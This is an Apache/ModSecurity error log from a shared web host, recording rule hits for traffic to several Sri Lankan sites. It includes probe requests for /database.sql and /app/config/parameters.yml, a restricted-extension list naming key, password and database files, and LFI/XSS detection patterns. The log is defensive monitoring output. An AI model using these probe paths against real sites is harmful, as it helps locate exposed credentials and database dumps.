[Fri Jul 17 08:29:36.654343 2026] [security2:error] [pid 1993619:tid 1993619] [client 64.62.156.53:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/favicon.ico"] [unique_id "almamI1dLClkUfK_dfHh1QAAAAI"]
[Fri Jul 17 08:29:36.832534 2026] [security2:error] [pid 2013809:tid 2013809] [client 100.58.185.114:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.web.venee.lk"] [uri "/database.sql"] [unique_id "almamEgVnBK6wAv37w6pBAAAABQ"]
[Fri Jul 17 08:29:36.832924 2026] [security2:error] [pid 2013809:tid 2013809] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/database.sql"] [unique_id "almamEgVnBK6wAv37w6pBAAAABQ"]
[Fri Jul 17 08:29:36.833256 2026] [security2:error] [pid 2013809:tid 2013809] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/database.sql"] [unique_id "almamEgVnBK6wAv37w6pBAAAABQ"]
[Fri Jul 17 08:29:37.353007 2026] [security2:error] [pid 2013830:tid 2013830] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakARRrtuZqNDDSqWs8gAAABo"]
[Fri Jul 17 08:29:37.652335 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:38.239618 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:60402] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:38.579661 2026] [security2:error] [pid 2013797:tid 2013797] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakFh1WDijTxd1xw5JNgAAAAc"]
[Fri Jul 17 08:29:40.703856 2026] [security2:error] [pid 2013830:tid 2013830] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almamwRRrtuZqNDDSqWs8wAAABo"]
[Fri Jul 17 08:29:40.703897 2026] [security2:error] [pid 2013830:tid 2013830] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almamwRRrtuZqNDDSqWs8wAAABo"]
[Fri Jul 17 08:29:42.057139 2026] [core:error] [pid 2015125:tid 2015125] (13)Permission denied: [client 57.141.18.30:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory37/subsystem/devices/memory5/subsystem/devices/memory64/subsystem/uevent
[Fri Jul 17 08:29:44.782534 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:49616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:47.209607 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:47.245976 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:47.788892 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:51.847823 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:51.847826 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:52.661899 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:52.903382 2026] [security2:error] [pid 2013797:tid 2013797] [client 178.20.44.82:0] ModSecurity: Rule 55dbd86ce6e8 [id "932110"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "256"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almaqFh1WDijTxd1xw5JPQAAAAc"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:29:52.904856 2026] [security2:error] [pid 2013797:tid 2013797] [client 178.20.44.82:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:enquiry. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd1\\x83 \\xd1\\x81\\xd0\\xbb\\xd1\\x83\\xd1\\x87\\xd0\\xb0\\xd1\\x8e \\xd0\\xb4\\xd0\\xb5\\xd0\\xb9\\xd1\\x81\\xd1\\x82\\xd0\\xb2\\xd0\\xb8\\xd1\\x82\\xd0\\xb5\\xd0\\xbb\\xd1\\x8c\\xd0\\xbd\\xd0\\xbe found within ARGS:enquiry: \\x0d\\x0a\\xd0\\x9f\\xd0\\xbe \\xd0\\xb4\\xd0\\xb0\\xd0\\xbd\\xd0\\xbd\\xd0\\xbe\\xd0\\xbc\\xd1\\x83 \\xd1\\x81\\xd0\\xbb\\xd1\\x83\\xd1\\x87\\xd0\\xb0\\xd1\\x8e \\xd0\\xb4\\xd0\\xb5\\xd0\\xb9\\xd1\\x81\\xd1\\x82\\xd0\\xb2\\xd0\\xb8\\xd1\\x82\\xd0\\xb5\\xd0\\xbb\\xd1\\x8c\\xd0\\xbd\\xd0\\xbe \\xd0\\xb1\\xd1\\x8b\\xd0\\xbb\\xd0\\xbe  \\xd0\\xbe\\xd0\\xb1\\xd1\\x80\\xd0\\xb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almaqFh1WDijTxd1xw5JPQAAAAc"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:29:52.905411 2026] [security2:error] [pid 2013797:tid 2013797] [client 178.20.44.82:0] ModSecurity: Rule 55dbd96071e0 [id "942360"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"][line "445"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almaqFh1WDijTxd1xw5JPQAAAAc"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:29:52.905667 2026] [security2:error] [pid 2013797:tid 2013797] [client 178.20.44.82:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almaqFh1WDijTxd1xw5JPQAAAAc"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:29:53.649468 2026] [security2:error] [pid 2013797:tid 2013797] [client 178.20.44.82:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almaqFh1WDijTxd1xw5JPQAAAAc"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:29:53.979647 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/node0/memory15/subsystem/devices/memory4/subsystem/devices/memory12/"] [unique_id "almaqUhq6UAnqYko0LpXjwAAABE"]
[Fri Jul 17 08:29:53.979839 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/node0/memory15/subsystem/devices/memory4/subsystem/devices/memory12/"] [unique_id "almaqUhq6UAnqYko0LpXjwAAABE"]
[Fri Jul 17 08:29:55.055558 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:55.444214 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:34434] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:56.010632 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:57.884219 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:58.048529 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:58.197495 2026] [ssl:error] [pid 2014321:tid 2014321] (70014)End of file found: [client 66.85.158.91:34512] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:58.499105 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34530] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:59.540831 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:34570] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:01.613296 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:44828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:02.657534 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:05.088015 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:05.092700 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:08.288010 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:08.288968 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:11.428925 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:11.762325 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:14.163726 2026] [security2:error] [pid 2015125:tid 2015125] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Fact_Sheet_WH_Measles.pdf"] [unique_id "almavhJ0z2bEtnOrIXU9SQAAAAk"]
[Fri Jul 17 08:30:14.164134 2026] [security2:error] [pid 2015125:tid 2015125] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Fact_Sheet_WH_Measles.pdf"] [unique_id "almavhJ0z2bEtnOrIXU9SQAAAAk"]
[Fri Jul 17 08:30:14.164599 2026] [security2:error] [pid 2015125:tid 2015125] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/attachments/article/146/Fact_Sheet_WH_Measles.pdf"] [unique_id "almavhJ0z2bEtnOrIXU9SQAAAAk"]
[Fri Jul 17 08:30:14.172655 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:50756] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:14.528368 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:50778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:16.445302 2026] [core:error] [pid 2014321:tid 2014321] (13)Permission denied: [client 47.82.13.140:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:02/physical_node/remove
[Fri Jul 17 08:30:17.394960 2026] [security2:error] [pid 2014256:tid 2014256] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-15-04_10_21.pdf"] [unique_id "almawYZvbo7N5o5zeYC7PwAAABw"]
[Fri Jul 17 08:30:17.395327 2026] [security2:error] [pid 2014256:tid 2014256] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-15-04_10_21.pdf"] [unique_id "almawYZvbo7N5o5zeYC7PwAAABw"]
[Fri Jul 17 08:30:17.395653 2026] [security2:error] [pid 2014256:tid 2014256] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-15-04_10_21.pdf"] [unique_id "almawYZvbo7N5o5zeYC7PwAAABw"]
[Fri Jul 17 08:30:20.036181 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.59:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory129/subsystem/devices/memory2/subsystem/devices/memory82/node0/cpu1/crash_notes
[Fri Jul 17 08:30:20.126924 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-10-11_10_22.pdf"] [unique_id "almaxIl9vhFBGA6D8l92rwAAAAw"]
[Fri Jul 17 08:30:20.127271 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-10-11_10_22.pdf"] [unique_id "almaxIl9vhFBGA6D8l92rwAAAAw"]
[Fri Jul 17 08:30:20.127561 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-10-11_10_22.pdf"] [unique_id "almaxIl9vhFBGA6D8l92rwAAAAw"]
[Fri Jul 17 08:30:20.291394 2026] [security2:error] [pid 2014286:tid 2014286] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaxB15lhZh2QtC5qEWXAAAAB8"]
[Fri Jul 17 08:30:20.304448 2026] [security2:error] [pid 2014286:tid 2014286] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaxB15lhZh2QtC5qEWXAAAAB8"]
[Fri Jul 17 08:30:20.306964 2026] [security2:error] [pid 1993671:tid 1993671] [client 100.53.220.22:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "asrgroup.lk"] [uri "/database.sql"] [unique_id "almaxA5GPQ6hs4VrfMo-HAAAAAY"]
[Fri Jul 17 08:30:20.307328 2026] [security2:error] [pid 1993671:tid 1993671] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/database.sql"] [unique_id "almaxA5GPQ6hs4VrfMo-HAAAAAY"]
[Fri Jul 17 08:30:22.428739 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-16-06_10_21.pdf"] [unique_id "almaxhAi3pC6yjXGNq19igAAAAU"]
[Fri Jul 17 08:30:22.429236 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-16-06_10_21.pdf"] [unique_id "almaxhAi3pC6yjXGNq19igAAAAU"]
[Fri Jul 17 08:30:22.429651 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-16-06_10_21.pdf"] [unique_id "almaxhAi3pC6yjXGNq19igAAAAU"]
[Fri Jul 17 08:30:22.585218 2026] [security2:error] [pid 2014286:tid 2014286] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almaxB15lhZh2QtC5qEWXAAAAB8"]
